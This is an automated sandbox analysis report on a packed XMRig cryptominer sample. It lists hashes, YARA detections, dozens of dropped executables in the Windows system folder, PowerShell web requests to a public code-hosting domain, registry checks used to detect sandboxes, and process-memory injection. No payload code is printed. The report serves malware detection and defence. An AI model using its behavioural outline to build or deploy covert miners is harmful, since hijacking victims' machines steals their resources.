xmrig | 24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
17/08/2024, 09:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
Size

1.9MB
MD5

0224cbb6b3764b1d352866222950a2f0
SHA1

58d05ff5dad21fbac1d6387bb4afb836a1059ef7
SHA256

24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598
SHA512

ca84d16985ee7dbc55cb6da217c89e372b4cec8b2d37d2b7a7bfb1d823b74afb08f9b24cc6ff2943d7b8bb2fb85a553925f6fd185ac8a668bdff6faab247a821
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkFfkeMGvGr1t4oAirbNI/TQ9f27dvapbkeyHdbKbTS:Lz071uv4BPMkFfdk2a2yKmkfHb/E72

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 49 IoCs

miner

resource	yara_rule
behavioral2/memory/348-135-0x00007FF7D3750000-0x00007FF7D3B42000-memory.dmp	xmrig
behavioral2/memory/2760-159-0x00007FF70AA20000-0x00007FF70AE12000-memory.dmp	xmrig
behavioral2/memory/4764-172-0x00007FF67F470000-0x00007FF67F862000-memory.dmp	xmrig
behavioral2/memory/2468-178-0x00007FF7704F0000-0x00007FF7708E2000-memory.dmp	xmrig
behavioral2/memory/3596-166-0x00007FF7322E0000-0x00007FF7326D2000-memory.dmp	xmrig
behavioral2/memory/2392-165-0x00007FF741280000-0x00007FF741672000-memory.dmp	xmrig
behavioral2/memory/4528-158-0x00007FF7B77F0000-0x00007FF7B7BE2000-memory.dmp	xmrig
behavioral2/memory/4896-148-0x00007FF7BD710000-0x00007FF7BDB02000-memory.dmp	xmrig
behavioral2/memory/3800-139-0x00007FF7995A0000-0x00007FF799992000-memory.dmp	xmrig
behavioral2/memory/4696-134-0x00007FF77B140000-0x00007FF77B532000-memory.dmp	xmrig
behavioral2/memory/4652-127-0x00007FF6C51C0000-0x00007FF6C55B2000-memory.dmp	xmrig
behavioral2/memory/1200-126-0x00007FF706520000-0x00007FF706912000-memory.dmp	xmrig
behavioral2/memory/4020-96-0x00007FF623930000-0x00007FF623D22000-memory.dmp	xmrig
behavioral2/memory/2444-90-0x00007FF7E99C0000-0x00007FF7E9DB2000-memory.dmp	xmrig
behavioral2/memory/448-89-0x00007FF6792C0000-0x00007FF6796B2000-memory.dmp	xmrig
behavioral2/memory/4180-63-0x00007FF6B3590000-0x00007FF6B3982000-memory.dmp	xmrig
behavioral2/memory/1204-49-0x00007FF642AE0000-0x00007FF642ED2000-memory.dmp	xmrig
behavioral2/memory/4440-40-0x00007FF7013A0000-0x00007FF701792000-memory.dmp	xmrig
behavioral2/memory/1252-629-0x00007FF762640000-0x00007FF762A32000-memory.dmp	xmrig
behavioral2/memory/3916-636-0x00007FF6D1C70000-0x00007FF6D2062000-memory.dmp	xmrig
behavioral2/memory/4332-754-0x00007FF6190A0000-0x00007FF619492000-memory.dmp	xmrig
behavioral2/memory/992-1040-0x00007FF61DB30000-0x00007FF61DF22000-memory.dmp	xmrig
behavioral2/memory/3680-1185-0x00007FF708480000-0x00007FF708872000-memory.dmp	xmrig
behavioral2/memory/4852-1305-0x00007FF63BAF0000-0x00007FF63BEE2000-memory.dmp	xmrig
behavioral2/memory/5044-1438-0x00007FF73E210000-0x00007FF73E602000-memory.dmp	xmrig
behavioral2/memory/4652-2686-0x00007FF6C51C0000-0x00007FF6C55B2000-memory.dmp	xmrig
behavioral2/memory/4696-2688-0x00007FF77B140000-0x00007FF77B532000-memory.dmp	xmrig
behavioral2/memory/348-2690-0x00007FF7D3750000-0x00007FF7D3B42000-memory.dmp	xmrig
behavioral2/memory/4440-2692-0x00007FF7013A0000-0x00007FF701792000-memory.dmp	xmrig
behavioral2/memory/1204-2694-0x00007FF642AE0000-0x00007FF642ED2000-memory.dmp	xmrig
behavioral2/memory/3800-2712-0x00007FF7995A0000-0x00007FF799992000-memory.dmp	xmrig
behavioral2/memory/4896-2714-0x00007FF7BD710000-0x00007FF7BDB02000-memory.dmp	xmrig
behavioral2/memory/2444-2719-0x00007FF7E99C0000-0x00007FF7E9DB2000-memory.dmp	xmrig
behavioral2/memory/3596-2720-0x00007FF7322E0000-0x00007FF7326D2000-memory.dmp	xmrig
behavioral2/memory/448-2716-0x00007FF6792C0000-0x00007FF6796B2000-memory.dmp	xmrig
behavioral2/memory/2760-2722-0x00007FF70AA20000-0x00007FF70AE12000-memory.dmp	xmrig
behavioral2/memory/4528-2710-0x00007FF7B77F0000-0x00007FF7B7BE2000-memory.dmp	xmrig
behavioral2/memory/4180-2709-0x00007FF6B3590000-0x00007FF6B3982000-memory.dmp	xmrig
behavioral2/memory/1252-2739-0x00007FF762640000-0x00007FF762A32000-memory.dmp	xmrig
behavioral2/memory/3916-2760-0x00007FF6D1C70000-0x00007FF6D2062000-memory.dmp	xmrig
behavioral2/memory/4764-2765-0x00007FF67F470000-0x00007FF67F862000-memory.dmp	xmrig
behavioral2/memory/2468-2766-0x00007FF7704F0000-0x00007FF7708E2000-memory.dmp	xmrig
behavioral2/memory/5044-2762-0x00007FF73E210000-0x00007FF73E602000-memory.dmp	xmrig
behavioral2/memory/4852-2756-0x00007FF63BAF0000-0x00007FF63BEE2000-memory.dmp	xmrig
behavioral2/memory/992-2755-0x00007FF61DB30000-0x00007FF61DF22000-memory.dmp	xmrig
behavioral2/memory/3680-2753-0x00007FF708480000-0x00007FF708872000-memory.dmp	xmrig
behavioral2/memory/4020-2751-0x00007FF623930000-0x00007FF623D22000-memory.dmp	xmrig
behavioral2/memory/2392-2749-0x00007FF741280000-0x00007FF741672000-memory.dmp	xmrig
behavioral2/memory/4332-3053-0x00007FF6190A0000-0x00007FF619492000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	5052	powershell.exe
10	5052	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5052	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4652	hVvbbem.exe
4696	JgKHAxp.exe
348	ePVSYcZ.exe
4440	lpCgsoe.exe
1204	xLhwBjU.exe
3800	yqtlAfe.exe
4528	AOhjDiq.exe
4180	RWITdJJ.exe
4896	XSuTMFD.exe
3596	bYRWcZM.exe
448	CMUOXFb.exe
2760	kwpoLjj.exe
2444	XqYeETb.exe
2392	YbcoWdx.exe
4020	HazxEsX.exe
1252	aaoTHJm.exe
4332	CyTBvBE.exe
3916	UIHKKJg.exe
992	wKUKBZl.exe
3680	cbytIEI.exe
4852	zIlrvxh.exe
5044	WgVWLJW.exe
4764	AluSPEz.exe
2468	QHQIQAx.exe
1440	qAnUTxc.exe
3752	JBFpTQh.exe
1684	CIvJLCa.exe
1492	mmDbxpz.exe
2396	vtSiztr.exe
4996	zKpydtz.exe
2996	NDaLXbR.exe
4376	sfPzFse.exe
4920	VpQrhwh.exe
1496	JwSCIKR.exe
4060	fVpztrK.exe
2864	pJhOuPP.exe
1500	PChaZaq.exe
1620	ruVGvnk.exe
2768	plQDNBv.exe
4632	VySofOy.exe
4304	AiUoVVF.exe
3664	BqZVzEt.exe
5080	aCORHnC.exe
5060	AQZeDoR.exe
1512	tQDTffO.exe
4384	STqvsmq.exe
3984	rdsIODG.exe
548	ayRXVuP.exe
2360	RgkewcS.exe
2124	TFykiGW.exe
652	KzwHDqg.exe
1156	NaSFDmm.exe
1968	CbOLhQf.exe
2740	ymiIKjT.exe
1132	DfIfShN.exe
3412	IkZnCaL.exe
5048	fJiyQGd.exe
3060	TMQVnmw.exe
3092	PlQiPPT.exe
1412	LQdRmVS.exe
3944	IzEkKbb.exe
3580	AVbVKBP.exe
1720	AcxzZJm.exe
1756	cUVZgCJ.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1200-0-0x00007FF706520000-0x00007FF706912000-memory.dmp	upx
behavioral2/files/0x00080000000233bc-5.dat	upx
behavioral2/memory/4652-6-0x00007FF6C51C0000-0x00007FF6C55B2000-memory.dmp	upx
behavioral2/files/0x00070000000233c1-24.dat	upx
behavioral2/files/0x00070000000233c0-20.dat	upx
behavioral2/memory/3800-36-0x00007FF7995A0000-0x00007FF799992000-memory.dmp	upx
behavioral2/files/0x00070000000233c3-34.dat	upx
behavioral2/files/0x00070000000233c5-33.dat	upx
behavioral2/files/0x00070000000233c2-32.dat	upx
behavioral2/memory/348-29-0x00007FF7D3750000-0x00007FF7D3B42000-memory.dmp	upx
behavioral2/files/0x00070000000233c4-28.dat	upx
behavioral2/memory/4696-17-0x00007FF77B140000-0x00007FF77B532000-memory.dmp	upx
behavioral2/files/0x00070000000233c6-46.dat	upx
behavioral2/files/0x00070000000233c7-58.dat	upx
behavioral2/files/0x00070000000233c9-72.dat	upx
behavioral2/memory/2760-78-0x00007FF70AA20000-0x00007FF70AE12000-memory.dmp	upx
behavioral2/files/0x00070000000233ce-91.dat	upx
behavioral2/files/0x00080000000233bd-97.dat	upx
behavioral2/files/0x00070000000233cf-111.dat	upx
behavioral2/files/0x00070000000233d2-117.dat	upx
behavioral2/memory/992-128-0x00007FF61DB30000-0x00007FF61DF22000-memory.dmp	upx
behavioral2/memory/348-135-0x00007FF7D3750000-0x00007FF7D3B42000-memory.dmp	upx
behavioral2/files/0x00070000000233d4-144.dat	upx
behavioral2/memory/2760-159-0x00007FF70AA20000-0x00007FF70AE12000-memory.dmp	upx
behavioral2/memory/4764-172-0x00007FF67F470000-0x00007FF67F862000-memory.dmp	upx
behavioral2/files/0x00070000000233da-186.dat	upx
behavioral2/files/0x00070000000233dc-204.dat	upx
behavioral2/files/0x00070000000233de-206.dat	upx
behavioral2/files/0x00070000000233dd-201.dat	upx
behavioral2/files/0x00070000000233db-199.dat	upx
behavioral2/files/0x00070000000233d9-189.dat	upx
behavioral2/files/0x00070000000233d8-184.dat	upx
behavioral2/files/0x00070000000233d7-179.dat	upx
behavioral2/memory/2468-178-0x00007FF7704F0000-0x00007FF7708E2000-memory.dmp	upx
behavioral2/files/0x00070000000233d6-173.dat	upx
behavioral2/files/0x00070000000233d5-167.dat	upx
behavioral2/memory/3596-166-0x00007FF7322E0000-0x00007FF7326D2000-memory.dmp	upx
behavioral2/memory/2392-165-0x00007FF741280000-0x00007FF741672000-memory.dmp	upx
behavioral2/files/0x00080000000233d1-160.dat	upx
behavioral2/memory/4528-158-0x00007FF7B77F0000-0x00007FF7B7BE2000-memory.dmp	upx
behavioral2/files/0x00080000000233d0-153.dat	upx
behavioral2/memory/5044-152-0x00007FF73E210000-0x00007FF73E602000-memory.dmp	upx
behavioral2/memory/4896-148-0x00007FF7BD710000-0x00007FF7BDB02000-memory.dmp	upx
behavioral2/memory/4852-140-0x00007FF63BAF0000-0x00007FF63BEE2000-memory.dmp	upx
behavioral2/memory/3800-139-0x00007FF7995A0000-0x00007FF799992000-memory.dmp	upx
behavioral2/memory/4696-134-0x00007FF77B140000-0x00007FF77B532000-memory.dmp	upx
behavioral2/files/0x00070000000233d3-132.dat	upx
behavioral2/memory/3680-131-0x00007FF708480000-0x00007FF708872000-memory.dmp	upx
behavioral2/memory/4652-127-0x00007FF6C51C0000-0x00007FF6C55B2000-memory.dmp	upx
behavioral2/memory/1200-126-0x00007FF706520000-0x00007FF706912000-memory.dmp	upx
behavioral2/memory/3916-116-0x00007FF6D1C70000-0x00007FF6D2062000-memory.dmp	upx
behavioral2/memory/4332-107-0x00007FF6190A0000-0x00007FF619492000-memory.dmp	upx
behavioral2/memory/1252-99-0x00007FF762640000-0x00007FF762A32000-memory.dmp	upx
behavioral2/memory/4020-96-0x00007FF623930000-0x00007FF623D22000-memory.dmp	upx
behavioral2/files/0x00070000000233cd-92.dat	upx
behavioral2/memory/2444-90-0x00007FF7E99C0000-0x00007FF7E9DB2000-memory.dmp	upx
behavioral2/memory/448-89-0x00007FF6792C0000-0x00007FF6796B2000-memory.dmp	upx
behavioral2/files/0x00070000000233ca-88.dat	upx
behavioral2/memory/2392-85-0x00007FF741280000-0x00007FF741672000-memory.dmp	upx
behavioral2/files/0x00070000000233cb-83.dat	upx
behavioral2/files/0x00070000000233cc-79.dat	upx
behavioral2/files/0x00070000000233c8-71.dat	upx
behavioral2/memory/3596-70-0x00007FF7322E0000-0x00007FF7326D2000-memory.dmp	upx
behavioral2/memory/4180-63-0x00007FF6B3590000-0x00007FF6B3982000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\STqvsmq.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\KBUgHTV.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\ycJTBUi.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\eQjRWOl.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\CBxhmIK.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\KixXbuq.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\hrMpnSw.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\HLGUFGF.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\yETpdvw.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\eEZmIRN.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\xteWteF.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\QxSXdFy.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\RcOahki.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\upGOntG.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\AsqdMUy.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\GxsYyny.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\bKPMQdq.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\HjtpUQh.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\QiFsUlx.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\yScxpuZ.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\gOzpyRa.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\YBavaVw.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\CoXXxdG.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\DzOLhRK.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\sluoMIL.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\ucGVOIC.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\mtJoJdr.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\yTQCldy.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\XAhmrFm.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\qXvrTdt.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\UOycIVk.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\sJIVtsW.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\apyfdGo.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\QvkCVXp.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\fwgCKDq.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\vBcFvFB.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\QXPTVNu.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\iiaUXAX.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\bYRWcZM.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\gmafTRD.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\lCiHXAq.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\wgauRjB.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\ZOqTKPI.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\cfGBaWn.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\JxGIhcY.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\epZBsvj.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\fQxoCxe.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\HlNzfYn.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\NToutiP.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\IbLQYiY.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\hTUlueZ.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\XQGExSW.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\nqsElvc.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\tPKTUjT.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\qmwpgaJ.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\tZIGxtH.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\obEaxoI.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\WTWdYPp.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\mDSxdtI.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\qBqBySB.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\VXPTVNP.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\pevupBB.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\micHUNL.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
File created	C:\Windows\System\GxfSauZ.exe	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5052	powershell.exe
5052	powershell.exe
5052	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
Token: SeLockMemoryPrivilege	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe
Token: SeDebugPrivilege	5052	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 5052	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	85
PID 1200 wrote to memory of 5052	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	85
PID 1200 wrote to memory of 4652	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	86
PID 1200 wrote to memory of 4652	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	86
PID 1200 wrote to memory of 4696	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	87
PID 1200 wrote to memory of 4696	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	87
PID 1200 wrote to memory of 348	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	88
PID 1200 wrote to memory of 348	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	88
PID 1200 wrote to memory of 4440	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	89
PID 1200 wrote to memory of 4440	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	89
PID 1200 wrote to memory of 1204	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	90
PID 1200 wrote to memory of 1204	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	90
PID 1200 wrote to memory of 3800	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	91
PID 1200 wrote to memory of 3800	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	91
PID 1200 wrote to memory of 4528	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	92
PID 1200 wrote to memory of 4528	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	92
PID 1200 wrote to memory of 4180	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	93
PID 1200 wrote to memory of 4180	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	93
PID 1200 wrote to memory of 4896	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	94
PID 1200 wrote to memory of 4896	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	94
PID 1200 wrote to memory of 3596	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	95
PID 1200 wrote to memory of 3596	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	95
PID 1200 wrote to memory of 448	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	96
PID 1200 wrote to memory of 448	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	96
PID 1200 wrote to memory of 2392	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	97
PID 1200 wrote to memory of 2392	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	97
PID 1200 wrote to memory of 2760	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	98
PID 1200 wrote to memory of 2760	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	98
PID 1200 wrote to memory of 2444	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	99
PID 1200 wrote to memory of 2444	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	99
PID 1200 wrote to memory of 4020	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	100
PID 1200 wrote to memory of 4020	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	100
PID 1200 wrote to memory of 1252	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	101
PID 1200 wrote to memory of 1252	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	101
PID 1200 wrote to memory of 4332	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	102
PID 1200 wrote to memory of 4332	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	102
PID 1200 wrote to memory of 3916	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	103
PID 1200 wrote to memory of 3916	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	103
PID 1200 wrote to memory of 992	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	104
PID 1200 wrote to memory of 992	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	104
PID 1200 wrote to memory of 3680	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	105
PID 1200 wrote to memory of 3680	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	105
PID 1200 wrote to memory of 4852	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	106
PID 1200 wrote to memory of 4852	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	106
PID 1200 wrote to memory of 5044	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	107
PID 1200 wrote to memory of 5044	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	107
PID 1200 wrote to memory of 4764	1200	24b42764125dd7f3c0aa59fe14109f847e12d19672ae88d4b74f8b6ebbee5598.exe	108
